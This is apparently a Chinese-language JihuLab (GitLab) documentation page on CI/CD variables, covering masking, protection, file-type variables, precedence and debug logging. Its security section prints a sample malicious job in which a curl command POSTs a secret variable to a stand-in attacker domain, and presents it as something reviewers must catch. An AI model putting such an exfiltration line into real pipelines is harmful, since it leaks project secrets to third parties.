极狐GitLab CI/CD 变量

  • Tier: 基础版, 专业版, 旗舰版
  • Offering: JihuLab.com, 私有化部署

极狐GitLab CI/CD 变量是一种环境变量。你可以使用它们来:

  1. 控制作业和流水线的行为。
  2. 存储你想重复使用的值。
  3. 避免在你的 .gitlab-ci.yml 文件中硬编码值。

你可以在手动运行流水线运行手动作业时为特定流水线覆盖变量值,或者在手动流水线中预填充

变量名称受到用于执行脚本的 runner 使用的 shell的限制。每个 shell 都有其自己的保留变量名称集合。

为了确保一致的行为,您应该始终将变量值放在单引号或双引号中。变量在内部由 Psych YAML 解析器解析,因此引号和非引号变量可能会以不同方式解析。例如,VAR1: 012345 被解释为一个八进制值,因此值变为 5349,而 VAR1: "012345" 被解析为一个字符串,值为 012345

预定义 CI/CD 变量#

极狐GitLab CI/CD 提供了一组预定义的 CI/CD 变量,用于流水线配置和作业脚本。这些变量包含有关作业、流水线的信息以及流水线触发或运行时可能需要的其他值。

您可以在 .gitlab-ci.yml 中使用预定义的 CI/CD 变量,而无需先声明它们。例如:

yaml
job1: stage: test script: - echo "The job's stage is '$CI_JOB_STAGE'"

此示例中的脚本输出为 The job's stage is 'test'

.gitlab-ci.yml 文件中定义 CI/CD 变量#

要在 .gitlab-ci.yml 文件中创建 CI/CD 变量,请使用 variables 关键字定义变量和值。

保存在 .gitlab-ci.yml 文件中的变量对所有有权访问存储库的用户可见,且应仅存储非敏感项目配置。例如,保存在 DATABASE_URL 变量中的数据库 URL。包含密钥或密钥等值的敏感变量应在界面中添加

您可以在以下位置定义 variables

  1. 作业:变量仅在该作业的 scriptbefore_scriptafter_script 部分以及一些 作业关键字中可用。
  2. .gitlab-ci.yml 文件的顶层:变量可作为所有流水线作业的默认值,除非作业定义了具有相同名称的变量。作业的变量优先。

在这两种情况下,您都不能将这些变量与 global keywords 一起使用。

例如:

yaml
1variables: 2 ALL_JOBS_VAR: "A default variable" 3 4job1: 5 variables: 6 JOB1_VAR: "Job 1 variable" 7 script: 8 - echo "Variables are '$ALL_JOBS_VAR' and '$JOB1_VAR'" 9 10job2: 11 variables: 12 ALL_JOBS_VAR: "Different value than default" 13 JOB2_VAR: "Job 2 variable" 14 script: 15 - echo "Variables are '$ALL_JOBS_VAR', '$JOB2_VAR', and '$JOB1_VAR'"

在此示例中:

  • job1 输出:Variables are 'A default variable' and 'Job 1 variable'
  • job2 输出:Variables are 'Different value than default', 'Job 2 variable', and ''

使用 valuedescription 关键字定义预填充的变量,以用于手动触发的流水线

在单个作业中跳过默认变量#

如果不希望在作业中使用默认变量,请将 variables 设置为 {}

yaml
1variables: 2 DEFAULT_VAR: "A default variable" 3 4job1: 5 variables: {} 6 script: 7 - echo This job does not need any variables

在界面中定义 CI/CD 变量#

像令牌或密码这样的敏感变量应存储在界面的设置中,而不是.gitlab-ci.yml 文件中。在界面中添加 CI/CD 变量:

  1. 对于项目,请在项目的设置中。
  2. 对于群组中的所有项目,请在群组的设置中。
  3. 对于极狐GitLab 实例中的所有项目,请在实例的设置中。

或者,您也可以使用 API 添加这些变量:

  1. 使用项目级变量 API 端点
  2. 使用群组级变量 API 端点
  3. 使用实例级变量 API 端点

默认情况下,来自派生项目的流水线无法访问父项目可用的 CI/CD 变量。如果您在父项目中为来自派生的合并请求运行合并请求流水线,所有变量都将对流水线可用。

对于项目#

History
    • 在极狐GitLab 15.7 中引入,项目最多可以有 200 个 CI/CD 变量。
    • 在极狐GitLab 15.9 中更新,项目最多可以有 8000 个 CI/CD 变量。

您可以将 CI/CD 变量添加到项目的设置中。

先决条件:

  • 您必须是具有维护者角色的项目成员。

要在项目设置中添加或更新变量:

  1. 在左侧边栏中,选择 Search or go to 并找到您的项目。
  2. 选择 Settings > CI/CD
  3. 展开 Variables
  4. 选择 Add variable 并填写详细信息:
    • Key:必须是一行,不能有空格,只能使用字母、数字或 _
    • Value:无限制。
    • TypeVariable(默认)或 File
    • Environment scope:可选。All (default) (*)、特定 环境或通配符 环境范围
    • Protect variable 可选。如果选中,变量仅在运行于受保护分支受保护标签上的流水线中可用。
    • Visibility:选择 Visible(默认),Masked,或 Masked and hidden(仅适用于新变量)。

创建变量后,您可以在流水线配置或作业脚本中使用它。

对于群组#

History
    • 在极狐GitLab 15.7 中引入,群组最多可以有 200 个 CI/CD 变量。
    • 在极狐GitLab 15.9 中更新,群组最多可以有 30000 个 CI/CD 变量。

您可以将 CI/CD 变量设置为群组中所有项目可用。

先决条件:

  • 您必须是具有所有者角色的群组成员。

要添加群组变量:

  1. 在左侧边栏中,选择 Search or go to 并找到您的群组。
  2. 选择 Settings > CI/CD
  3. 展开 Variables
  4. 选择 Add variable 并填写详细信息:
    • Key:必须是一行,不能有空格,只能使用字母、数字或 _
    • Value:无限制。
    • TypeVariable(默认)或 File
    • Protect variable 可选。如果选中,变量仅在运行于受保护分支受保护标签上的流水线中可用。
    • Visibility:选择 Visible(默认),Masked,或 Masked and hidden(仅适用于新变量)。

项目中可用的群组变量列在项目的 Settings > CI/CD > Variables 部分中。子群组中的变量会递归继承。

环境范围#

  • Tier: 专业版, 旗舰版

要将群组 CI/CD 变量设置为仅在特定环境中可用:

  1. 在左侧边栏中,选择 Search or go to 并找到您的群组。
  2. 选择 Settings > CI/CD
  3. 展开 Variables
  4. 在变量右侧,选择 Edit ()。
  5. 对于 Environment scope,选择 All (default) (*)、特定 环境,或通配符 环境范围

对于实例#

  • Tier: 基础版, 专业版, 旗舰版
  • Offering: 私有化部署

您可以将 CI/CD 变量设置为极狐GitLab 实例中的所有项目和群组可用。

先决条件:

  • 您必须具有实例的管理员访问权限。

要添加实例变量:

  1. 在左侧边栏底部,选择 管理员
  2. 选择 Settings > CI/CD
  3. 展开 Variables
  4. 选择 Add variable 并填写详细信息:
    • Key:必须是一行,不能有空格,只能使用字母、数字或 _
    • Value:值限制为 10,000 个字符,但也受 runner 操作系统的任何限制。
    • TypeVariable(默认)或 File
    • Protect variable 可选。如果选中,变量仅在运行于受保护分支受保护标签上的流水线中可用。
    • Visibility:选择 Visible(默认),Masked,或 Masked and hidden(仅适用于新变量)。

CI/CD 变量安全#

推送到 .gitlab-ci.yml 文件的代码可能会危及您的变量。变量可能会意外暴露在作业日志中,或者恶意发送到第三方服务器。

在您:

  1. 在父项目中为从派生项目提交的合并请求运行流水线
  2. 合并更改。

之前审查所有引入更改到 .gitlab-ci.yml 文件的合并请求。

在您添加文件或对导入的项目运行流水线之前,审查 .gitlab-ci.yml 文件。

以下示例显示了 .gitlab-ci.yml 文件中的恶意代码:

yaml
1accidental-leak-job: 2 script: # Password exposed accidentally 3 - echo "This script logs into the DB with $USER $PASSWORD" 4 - db-login $USER $PASSWORD 5 6malicious-job: 7 script: # Secret exposed maliciously 8 - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"

为了帮助减少通过像 accidental-leak-job 中这样的脚本意外泄露密钥的风险,所有包含敏感信息的变量应始终在作业日志中被掩盖。您还可以限制变量仅限于受保护分支和标签

或者,使用极狐GitLab 的原生集成之一连接到第三方密钥管理提供商以存储和检索密钥:

  1. HashiCorp Vault
  2. Azure Key Vault
  3. Google Secret Manager

您还可以使用 OpenID Connect (OIDC) 身份验证来处理没有原生集成的密钥管理器。

malicious-job 中的恶意脚本必须在审查过程中被捕获。审查者在发现这样的代码时不应触发流水线,因为恶意代码可能会危及掩盖和保护的变量。

变量值使用 aes-256-cbc加密并存储在数据库中。此数据只能使用有效的密钥文件读取和解密。

掩盖 CI/CD 变量#

掩盖 CI/CD 变量不是阻止恶意用户访问变量值的保证方法。为了确保敏感信息的安全,请考虑使用外部密钥文件类型变量来防止 env/printenv 等命令打印密钥变量。

您可以掩盖项目、群组或实例 CI/CD 变量,以便变量的值不会显示在作业日志中。当掩盖的 CI/CD 变量将在作业日志中显示时,值将被替换为 [masked],以防止值暴露。

先决条件:

要掩盖变量:

  1. 对于群组、项目或在 管理员 区域,选择 设置 > CI/CD
  2. 展开 变量
  3. 在要保护的变量旁边,选择 编辑
  4. 可见性 下,选择 遮掩变量
  5. 选择 更新变量

用于掩盖变量的方法限制了掩盖变量中可以包含的内容。变量的值必须:

  • 是一行,没有空格。
  • 长度为 8 个字符或更长。
  • 不与现有预定义或自定义 CI/CD 变量的名称匹配。
  • 不包含 @_-:+ 之外的非字母数字字符。

此外,如果启用了变量扩展,则值只能包含:

  • 来自 Base64 字母表 (RFC4648) 的字符。
  • @:.~ 字符。

掩盖变量会自动在作业日志中掩盖值。如果另一个变量具有相同的值,则该值也会被掩盖,包括当变量引用掩盖的变量时。字符串 [MASKED] 会代替值显示,可能会有一些尾随的 x 字符。

不同版本的 极狐GitLab Runner 具有不同的掩盖限制:

版本限制
v14.1.0 及更早版本掩盖大秘密(超过 4 KiB)可能泄露。没有敏感 URL 参数掩盖。
v14.2.0 到 v15.3.0大秘密的尾部(超过 4 KiB)可能会泄露。没有敏感 URL 参数掩盖。
v15.7.0 及更高版本启用 CI_DEBUG_SERVICES 时可能会泄露秘密。有关详细信息,请阅读服务容器日志记录

隐藏 CI/CD 变量#

History
    • 在极狐GitLab 17.4 中引入,使用名为 ci_hidden_variables功能标志。默认启用。
    • 在极狐GitLab 17.6 中 GA。功能标志 ci_hidden_variables 移除。

除了掩盖,您还可以防止 CI/CD 变量的值在 CI/CD 设置页面上显示。隐藏变量仅在创建新变量时可能,您无法更新现有变量以隐藏。

先决条件:

要隐藏变量,请在您在界面中添加新 CI/CD 变量时选择 Masked and hiddenVisibility 部分。当您保存变量后,变量可以在 CI/CD 流水线中使用,但无法在界面中再次显示。

保护 CI/CD 变量#

您可以配置项目、群组或实例 CI/CD 变量,使其仅对运行在受保护分支受保护标签上的流水线可用。

合并结果流水线合并请求流水线无法访问这些变量。

先决条件:

要设置变量为受保护:

  1. 对于项目或群组,转到 设置 > CI/CD
  2. 展开 变量
  3. 在要保护的变量旁边,选择 编辑
  4. 选择 保护变量 复选框。
  5. 选择 更新变量

变量对所有后续流水线可用。

使用文件类型 CI/CD 变量#

所有预定义的 CI/CD 变量和在 .gitlab-ci.yml 文件中定义的变量都是“变量”类型(在 API 中为 variable_typeenv_var)。变量类型变量:

  • 由键值对组成。
  • 在作业中作为环境变量提供,使用:
    • CI/CD 变量键作为环境变量名称。
    • CI/CD 变量值作为环境变量值。

项目、群组和实例 CI/CD 变量默认是“变量”类型,但可以选择设置为“文件”类型(在 API 中为 variable_typefile)。文件类型变量:

  • 由键、值和文件组成。
  • 在作业中作为环境变量提供,使用:
    • CI/CD 变量键作为环境变量名称。
    • CI/CD 变量值保存到临时文件中。
    • 临时文件的路径作为环境变量值。

使用文件类型 CI/CD 变量用于需要文件作为输入的工具。AWS CLI 和 kubectl 都是使用 File 类型变量进行配置的工具。

例如,如果您使用 kubectl

  • 具有键为 KUBE_URL 且值为 https://example.com 的变量。
  • 具有键为 KUBE_CA_PEM 且值为证书的文件类型变量。

KUBE_URL 作为接受变量的 --server 选项传递,并将 $KUBE_CA_PEM 作为接受文件路径的 --certificate-authority 选项传递:

shell
kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"

在极狐GitLab 15.6 或更早版本中将文件变量的值分配给另一个变量时要小心。另一个变量将文件的内容作为其值,而不是文件的路径。在极狐GitLab 15.7 及更高版本中,此行为得到修复,另一个变量现在将文件的路径作为值。

使用 .gitlab-ci.yml 变量作为文件类型变量#

您无法将 .gitlab-ci.yml 文件中定义 的 CI/CD 变量设置为文件类型变量。如果您有一个需要文件路径作为输入的工具,但您想使用在 .gitlab-ci.yml 中定义的变量:

  • 运行一个命令,将变量的值保存到文件中。
  • 使用您的工具使用该文件。

例如:

yaml
1variables: 2 SITE_URL: "https://gitlab.example.com" 3 4job: 5 script: 6 - echo "$SITE_URL" > "site-url.txt" 7 - mytool --url-file="site-url.txt"

在作业脚本中使用 CI/CD 变量#

所有 CI/CD 变量都设置为作业环境中的环境变量。您可以使用每个环境的 shell 的标准格式在作业脚本中使用变量。

要访问环境变量,请使用您的 runner 执行器的 shell 的语法。

使用 Bash、sh 和类似#

要在 Bash、sh 和类似 shell 中访问环境变量,请在 CI/CD 变量前加上 ($):

yaml
job_name: script: - echo "$CI_JOB_ID"

使用 PowerShell#

要在 Windows PowerShell 环境中访问变量,包括系统设置的环境变量,请在变量名称前加上 $env:$

yaml
job_name: script: - echo $env:CI_JOB_ID - echo $CI_JOB_ID - echo $env:PATH

在某些情况下,环境变量必须用引号括起来才能正确展开:

yaml
job_name: script: - D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test

使用 Windows 批处理#

要在 Windows 批处理中访问 CI/CD 变量,请用 % 将变量括起来:

yaml
job_name: script: - echo %CI_JOB_ID%

您还可以用 ! 将变量括起来进行延迟展开。延迟展开可能需要用于包含空格或换行的变量:

yaml
job_name: script: - echo !ERROR_MESSAGE!

在服务容器中#

服务容器可以使用 CI/CD 变量,但默认情况下只能访问保存在 .gitlab-ci.yml 文件中的变量在极狐GitLab 界面中添加的变量对服务容器不可用,因为服务容器默认不受信任。

要使界面定义的变量在服务容器中可用,您可以在 .gitlab-ci.yml 中将其重新分配给另一个变量:

yaml
variables: SA_PASSWORD_YAML_FILE: $SA_PASSWORD_UI

重新分配的变量不能与原始变量同名,否则无法展开。

将环境变量传递给另一个作业#

您可以在作业中创建新的环境变量,并将其传递给后续阶段的另一个作业。这些变量不能用作 CI/CD 变量来配置流水线(例如使用 rules 关键字),但可以在作业脚本中使用。

要将作业创建的环境变量传递给其他作业:

  1. 在作业脚本中,将变量保存为 .env 文件。
    • 文件的格式必须为每行一个变量定义。
    • 每行必须格式化为:VARIABLE_NAME=ANY VALUE HERE
    • 值可以用引号括起来,但不能包含换行符。
  2. .env 文件作为 artifacts:reports:dotenv 产物保存。
  3. 后续阶段的作业可以在脚本中使用变量,除非作业配置为不接收 dotenv 变量

例如:

yaml
1build-job: 2 stage: build 3 script: 4 - echo "BUILD_VARIABLE=value_from_build_job" >> build.env 5 artifacts: 6 reports: 7 dotenv: build.env 8 9test-job: 10 stage: test 11 script: 12 - echo "$BUILD_VARIABLE" # Output is: 'value_from_build_job'

来自 dotenv 报告的变量优先级高于某些类型的新变量定义,例如作业定义的变量。

您还可以dotenv 变量传递给下游流水线

控制哪个作业接收 dotenv 变量#

您可以使用 dependenciesneeds 关键字来控制哪个作业接收 dotenv 产物。

要没有来自 dotenv 产物的环境变量:

  • 传递一个空的 dependenciesneeds 数组。
  • needs:artifacts 设置为 false
  • 设置 needs 仅列出没有 dotenv 产物的作业。

例如:

yaml
1build-job1: 2 stage: build 3 script: 4 - echo "BUILD_VERSION=v1.0.0" >> build.env 5 artifacts: 6 reports: 7 dotenv: build.env 8 9build-job2: 10 stage: build 11 needs: [] 12 script: 13 - echo "This job has no dotenv artifacts" 14 15test-job1: 16 stage: test 17 script: 18 - echo "$BUILD_VERSION" # Output is: 'v1.0.0' 19 dependencies: 20 - build-job1 21 22test-job2: 23 stage: test 24 script: 25 - echo "$BUILD_VERSION" # Output is '' 26 dependencies: [] 27 28test-job3: 29 stage: test 30 script: 31 - echo "$BUILD_VERSION" # Output is: 'v1.0.0' 32 needs: 33 - build-job1 34 35test-job4: 36 stage: test 37 script: 38 - echo "$BUILD_VERSION" # Output is: 'v1.0.0' 39 needs: 40 - job: build-job1 41 artifacts: true 42 43test-job5: 44 stage: deploy 45 script: 46 - echo "$BUILD_VERSION" # Output is '' 47 needs: 48 - job: build-job1 49 artifacts: false 50 51test-job6: 52 stage: deploy 53 script: 54 - echo "$BUILD_VERSION" # Output is '' 55 needs: 56 - build-job2

script 部分中的环境变量传递给同一作业中的另一个部分#

使用 $GITLAB_ENVscript 部分中定义的环境变量传递给另一个部分。

例如:

yaml
1build-job: 2 stage: build 3 script: 4 - echo "ARCH=$(arch)" >> $GITLAB_ENV 5 - touch some-file-$(arch) 6 artifacts: 7 paths: 8 - some-file-$ARCH

要在其他阶段中引用变量,将变量写入 $GITLAB_ENV.env 文件:

yaml
1build-job: 2 stage: build 3 script: 4 - echo "ARCH=$(arch)" | tee -a $GITLAB_ENV >> build.env 5 - touch some-file-$(arch) 6 artifacts: 7 paths: 8 - some-file-$ARCH 9 reports: 10 dotenv: build.env 11 12release-job: 13 stage: release 14 script: 15 - curl --upload-file some-file-$ARCH "https://example.com/some-file-$ARCH"

在一个变量中存储多个值#

您不能创建一个包含值数组的 CI/CD 变量,但您可以使用 shell 脚本技术实现类似的行为。

例如,您可以在变量中存储多个以空格分隔的值,然后使用脚本循环遍历这些值:

yaml
1job1: 2 variables: 3 FOLDERS: src test docs 4 script: 5 - | 6 for FOLDER in $FOLDERS 7 do 8 echo "The path is root/${FOLDER}" 9 done

作为字符串的一部分#

您可以将变量作为字符串的一部分使用。您可以用花括号 ({}) 将变量括起来,以帮助区分变量名称与周围文本。没有花括号时,邻近文本被解释为变量名称的一部分。例如:

yaml
1job: 2 variables: 3 FLAGS: '-al' 4 DIR: 'path/to/directory' 5 LS_CMD: 'ls "$FLAGS"' 6 CD_CMD: 'cd "${DIR}_files"' 7 script: 8 - 'eval "$LS_CMD"' # Executes 'ls -al' 9 - 'eval "$CD_CMD"' # Executes 'cd path/to/directory_files'

在其他变量中使用 CI/CD 变量#

您可以在其他变量中使用变量:

yaml
1job: 2 variables: 3 FLAGS: '-al' 4 LS_CMD: 'ls "$FLAGS"' 5 script: 6 - 'eval "$LS_CMD"' # Executes 'ls -al'

在 CI/CD 变量中使用 $ 字符#

如果您不希望 $ 字符被解释为另一个变量的开始,请使用 $$ 代替:

yaml
1job: 2 variables: 3 FLAGS: '-al' 4 LS_CMD: 'ls "$FLAGS" $$TMP_DIR' 5 script: 6 - 'eval "$LS_CMD"' # Executes 'ls -al $TMP_DIR'

防止 CI/CD 变量扩展#

History
    • 在极狐GitLab 15.7 中引入。

扩展的变量将具有 $ 字符的值视为对另一个变量的引用。默认情况下,CI/CD 变量是扩展的。要将具有 $ 字符的变量视为原始字符串,请禁用变量的扩展。

先决条件:

要禁用变量的扩展:

  1. 对于项目或群组,转到 设置 > CI/CD
  2. 展开 变量
  3. 在要不扩展的变量旁边,选择 编辑
  4. 清除 展开变量 复选框。
  5. 选择 更新变量

CI/CD 变量优先级#

History

您可以在不同地方使用相同名称的 CI/CD 变量,但这些值可以相互覆盖。变量的类型和定义位置决定了变量的优先级。

变量的优先级顺序为(从高到低):

  1. 流水线执行策略变量
  2. 扫描执行策略变量
  3. 流水线变量。这些变量具有相同的优先级:
  4. 项目变量
  5. 群组变量。如果群组及其子群组中存在相同变量名称,则作业使用最接近子群组的值。例如,如果您有 Group > Subgroup 1 > Subgroup 2 > Project,则在 Subgroup 2 中定义的变量优先。
  6. 实例变量
  7. 来自 dotenv 报告的变量。
  8. .gitlab-ci.yml 文件中定义的作业变量。
  9. .gitlab-ci.yml 文件顶层定义的所有作业的默认变量。
  10. 部署变量
  11. 预定义变量

例如:

yaml
1variables: 2 API_TOKEN: "default" 3 4job1: 5 variables: 6 API_TOKEN: "secure" 7 script: 8 - echo "The variable is '$API_TOKEN'"

在此示例中,job1 输出 The variable is 'secure',因为在 .gitlab-ci.yml 文件中定义的作业变量优先于默认变量。

使用流水线变量#

流水线变量是在运行新流水线时指定的变量。

先决条件:

  • 您必须在项目中具有开发者角色。

您可以在以下情况下指定流水线变量:

  1. 在界面中手动运行流水线
  2. 使用 pipelines API 端点创建流水线。
  3. 使用 triggers API 端点创建流水线。
  4. 使用推送选项
  5. 使用 variables 关键字trigger:forward 关键字dotenv 变量将变量传递给下游流水线。
  6. 运行手动作业时指定变量

这些变量具有较高的优先级,可以覆盖其他定义的变量,包括预定义变量

在大多数情况下,您应避免覆盖预定义变量,因为这可能导致流水线行为异常。

极狐GitLab 17.7及更高版本中,流水线输入比传递流水线变量更推荐。为了增强安全性,您应该在使用输入时禁用流水线变量

限制流水线变量#

History
    • 在极狐GitLab 17.1 中引入。
    • 对于 JihuLab.com,设置默认值,更新为所有新命名空间中的新项目,在极狐GitLab 17.7 中 ci_pipeline_variables_minimum_override_roleno_one_allowed

您可以限制谁可以运行带有流水线变量的流水线到特定用户角色。当具有较低角色的用户尝试使用流水线变量时,他们会收到 Insufficient permissions to set pipeline variables 错误消息。

先决条件:

  • 您必须在项目中具有维护者角色。如果最低角色之前设置为 ownerno_one_allowed,则您必须在项目中具有所有者角色。

要限制仅维护者角色及更高级别的用户可以使用流水线变量:

  • 转到 设置 > CI/CD > 变量
  • 使用流水线变量的最小角色 下,选择以下之一:
    • no_one_allowed:没有流水线可以运行带有流水线变量。JihuLab.com 上新命名空间中的新项目的默认值。
    • owner:只有具有所有者角色的用户可以运行带有流水线变量的流水线。您必须在项目中具有所有者角色才能将设置更改为此值。
    • maintainer:只有至少具有维护者角色的用户可以运行带有流水线变量的流水线。极狐GitLab 私有化部署和极狐GitLab Dedicated 上未指定时的默认值。
    • developer:只有至少具有开发者角色的用户可以运行带有流水线变量的流水线。

您还可以使用项目 API设置 ci_pipeline_variables_minimum_override_role 设置的角色。

此限制不影响使用项目或群组设置中的 CI/CD 变量。大多数作业仍然可以在 YAML 配置中使用 variables 关键字,但不能使用 trigger 关键字触发下游流水线的作业。触发作业将变量作为流水线变量传递给下游流水线,这也受到此设置的控制。

导出变量#

在单独的 shell 上下文中执行的脚本不共享导出、别名、本地函数定义或任何其他本地 shell 更新。

这意味着如果作业失败,用户定义的脚本创建的变量不会导出。

当 runner 执行在 .gitlab-ci.yml 中定义的作业时:

  • before_script 和主要脚本中指定的脚本一起在一个 shell 上下文中执行,并被连接。
  • after_script 中指定的脚本在与 before_script 和指定脚本完全分开的 shell 上下文中运行。

无论脚本在什么 shell 中执行,runner 输出包括:

  • 预定义变量。
  • 在以下位置定义的变量:
    • 实例、群组或项目 CI/CD 设置。
    • .gitlab-ci.yml 文件中的 variables: 部分。
    • .gitlab-ci.yml 文件中的 secrets: 部分。
    • config.toml 中。

runner 无法处理手动导出、shell 别名以及在脚本正文中执行的函数,如 export MY_VARIABLE=1

文件开头包含在 --- 中的内容不用翻译,按照原样输出即可,不要用 ``` 将内容包含;图片名称也不用翻译。

例如,在下面的 .gitlab-ci.yml 文件中,定义了以下脚本:

yaml
1job: 2 variables: 3 JOB_DEFINED_VARIABLE: "job variable" 4 before_script: 5 - echo "This is the 'before_script' script" 6 - export MY_VARIABLE="variable" 7 script: 8 - echo "This is the 'script' script" 9 - echo "JOB_DEFINED_VARIABLE's value is ${JOB_DEFINED_VARIABLE}" 10 - echo "CI_COMMIT_SHA's value is ${CI_COMMIT_SHA}" 11 - echo "MY_VARIABLE's value is ${MY_VARIABLE}" 12 after_script: 13 - echo "JOB_DEFINED_VARIABLE's value is ${JOB_DEFINED_VARIABLE}" 14 - echo "CI_COMMIT_SHA's value is ${CI_COMMIT_SHA}" 15 - echo "MY_VARIABLE's value is ${MY_VARIABLE}"

当 runner 执行任务时:

  1. before_script 被执行:
    1. 输出到控制台。
    2. MY_VARIABLE 定义变量。
  2. script 被执行:
    1. 输出到控制台。
    2. 输出 JOB_DEFINED_VARIABLE 的值。
    3. 输出 CI_COMMIT_SHA 的值。
    4. 输出 MY_VARIABLE 的值。
  3. after_script 在一个新的、独立的 shell 环境中被执行:
    1. 输出到控制台。
    2. 输出 JOB_DEFINED_VARIABLE 的值。
    3. 输出 CI_COMMIT_SHA 的值。
    4. 输出 MY_VARIABLE 的空值。无法检测到变量值,因为 after_script 在一个独立于 before_script 的 shell 环境中。

故障排除#

列出所有变量#

您可以使用 Bash 中的 export 命令或 PowerShell 中的 dir env: 列出可用于脚本的所有变量。这会暴露 所有 可用变量的值,这可能是一个 安全风险Masked 变量 显示为 [MASKED]

例如,使用 Bash:

yaml
job_name: script: - export

示例作业日志输出(已截断):

shell
1export CI_JOB_ID="50" 2export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a" 3export CI_COMMIT_SHORT_SHA="1ecfd275" 4export CI_COMMIT_REF_NAME="main" 5export CI_REPOSITORY_URL="https://gitlab-ci-token:[MASKED]@example.com/gitlab-org/gitlab.git" 6export CI_COMMIT_TAG="1.0.0" 7export CI_JOB_NAME="spec:other" 8export CI_JOB_STAGE="test" 9export CI_JOB_MANUAL="true" 10export CI_JOB_TRIGGERED="true" 11export CI_JOB_TOKEN="[MASKED]" 12export CI_PIPELINE_ID="1000" 13export CI_PIPELINE_IID="10" 14export CI_PAGES_DOMAIN="gitlab.io" 15export CI_PAGES_URL="https://gitlab-org.gitlab.io/gitlab" 16export CI_PROJECT_ID="34" 17export CI_PROJECT_DIR="/builds/gitlab-org/gitlab" 18export CI_PROJECT_NAME="gitlab" 19export CI_PROJECT_TITLE="GitLab" 20...

启用调试日志#

调试日志可能是一个严重的安全风险。输出包含作业可用的所有变量的内容。输出上传到极狐GitLab服务器,并在作业日志中可见。

您可以使用调试日志来帮助解决流水线配置或作业脚本的问题。调试日志暴露了通常由 runner 隐藏的作业执行细节,并使作业日志更加详细。它还暴露了作业可用的所有变量和秘密。

在启用调试日志之前,请确保只有团队成员可以查看作业日志。您还应该在重新公开日志之前,删除带有调试输出的作业日志

要启用调试日志,请将 CI_DEBUG_TRACE 变量设置为 true

yaml
job_name: variables: CI_DEBUG_TRACE: "true"

示例输出(已截断):

plaintext
1... 2export CI_SERVER_TLS_CA_FILE="/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE" 3if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then 4 echo $'\''\x1b[32;1mFetching changes...\x1b[0;m'\'' 5 $'\''cd'\'' "/builds/gitlab-examples/ci-debug-trace" 6 $'\''git'\'' "config" "fetch.recurseSubmodules" "false" 7 $'\''rm'\'' "-f" ".git/index.lock" 8 $'\''git'\'' "clean" "-ffdx" 9 $'\''git'\'' "reset" "--hard" 10 $'\''git'\'' "remote" "set-url" "origin" "https://gitlab-ci-token:xxxxxxxxxxxxxxxxxxxx@example.com/gitlab-examples/ci-debug-trace.git" 11 $'\''git'\'' "fetch" "origin" "--prune" "+refs/heads/*:refs/remotes/origin/*" "+refs/tags/*:refs/tags/lds" 12++ CI_BUILDS_DIR=/builds 13++ export CI_PROJECT_DIR=/builds/gitlab-examples/ci-debug-trace 14++ CI_PROJECT_DIR=/builds/gitlab-examples/ci-debug-trace 15++ export CI_CONCURRENT_ID=87 16++ CI_CONCURRENT_ID=87 17++ export CI_CONCURRENT_PROJECT_ID=0 18++ CI_CONCURRENT_PROJECT_ID=0 19++ export CI_SERVER=yes 20++ CI_SERVER=yes 21++ mkdir -p /builds/gitlab-examples/ci-debug-trace.tmp 22++ echo -n '-----BEGIN CERTIFICATE----- 23-----END CERTIFICATE-----' 24++ export CI_SERVER_TLS_CA_FILE=/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE 25++ CI_SERVER_TLS_CA_FILE=/builds/gitlab-examples/ci-debug-trace.tmp/CI_SERVER_TLS_CA_FILE 26++ export CI_PIPELINE_ID=52666 27++ CI_PIPELINE_ID=52666 28++ export CI_PIPELINE_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/pipelines/52666 29++ CI_PIPELINE_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/pipelines/52666 30++ export CI_JOB_ID=7046507 31++ CI_JOB_ID=7046507 32++ export CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655 33++ CI_JOB_URL=https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655 34++ export CI_JOB_TOKEN=[MASKED] 35++ CI_JOB_TOKEN=[MASKED] 36++ export CI_REGISTRY_USER=gitlab-ci-token 37++ CI_REGISTRY_USER=gitlab-ci-token 38++ export CI_REGISTRY_PASSWORD=[MASKED] 39++ CI_REGISTRY_PASSWORD=[MASKED] 40++ export CI_REPOSITORY_URL=https://gitlab-ci-token:[MASKED]@gitlab.com/gitlab-examples/ci-debug-trace.git 41++ CI_REPOSITORY_URL=https://gitlab-ci-token:[MASKED]@gitlab.com/gitlab-examples/ci-debug-trace.git 42++ export CI_JOB_NAME=debug_trace 43++ CI_JOB_NAME=debug_trace 44++ export CI_JOB_STAGE=test 45++ CI_JOB_STAGE=test 46++ export CI_NODE_TOTAL=1 47++ CI_NODE_TOTAL=1 48++ export CI=true 49++ CI=true 50++ export GITLAB_CI=true 51++ GITLAB_CI=true 52++ export CI_SERVER_URL=https://gitlab.com:3000 53++ CI_SERVER_URL=https://gitlab.com:3000 54++ export CI_SERVER_HOST=gitlab.com 55++ CI_SERVER_HOST=gitlab.com 56++ export CI_SERVER_PORT=3000 57++ CI_SERVER_PORT=3000 58++ export CI_SERVER_SHELL_SSH_HOST=gitlab.com 59++ CI_SERVER_SHELL_SSH_HOST=gitlab.com 60++ export CI_SERVER_SHELL_SSH_PORT=22 61++ CI_SERVER_SHELL_SSH_PORT=22 62++ export CI_SERVER_PROTOCOL=https 63++ CI_SERVER_PROTOCOL=https 64++ export CI_SERVER_NAME=GitLab 65++ CI_SERVER_NAME=GitLab 66++ export GITLAB_FEATURES=audit_events,burndown_charts,code_owners,contribution_analytics,description_diffs,elastic_search,group_bulk_edit,group_burndown_charts,group_webhooks,issuable_default_templates,issue_weights,jenkins_integration,ldap_group_sync,member_lock,merge_request_approvers,multiple_issue_assignees,multiple_ldap_servers,multiple_merge_request_assignees,protected_refs_for_users,push_rules,related_issues,repository_mirrors,repository_size_limit,scoped_issue_board,usage_quotas,wip_limits,adjourned_deletion_for_projects_and_groups,admin_audit_log,auditor_user,batch_comments,blocking_merge_requests,board_assignee_lists,board_milestone_lists,ci_cd_projects,cluster_deployments,code_analytics,code_owner_approval_required,commit_committer_check,cross_project_pip